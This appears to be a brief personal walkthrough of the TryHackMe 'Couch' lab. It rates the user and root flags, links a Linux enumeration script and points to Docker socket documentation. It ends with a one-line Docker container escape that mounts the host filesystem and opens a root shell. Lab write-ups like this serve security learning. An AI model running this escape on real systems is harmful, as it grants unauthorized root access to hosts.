Machines

Couch

I think this is a Good Machine you get started with, since it is very specific with respect to CouchDB, the name could be kept as `Ouch` [Just Out of Curiosity]. Whereas the Linux Privilege Escalation is very interesting, it focus on other parts, i.e. Not only the SUID file based Escalation [Well I said this because as the time of writing this i am very bad in Privilege Escalation 😁😓 ]

#BeginnerMachine , #DockerBasedPrivilegeEscalation , #GoodToStartWith

• Easy to Get User Flag user.txt

• Hard to Get Root Flag root.txt

Use Smart Linux Enum Script For Root Flag: https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh

Focus on yes

TryHackMe | CouchTryHackMe

First Tab

Solution

https://docs.docker.com/engine/reference/commandline/dockerd/ Example > Docker Socket Options

Many Services in Linux use 2 types of Socket TCP or UNIX When running the below command make sure to prior check The Type of Socket it is Using and then try the below command

docker run -v /:/mnt --rm -it alpine chroot /mnt sh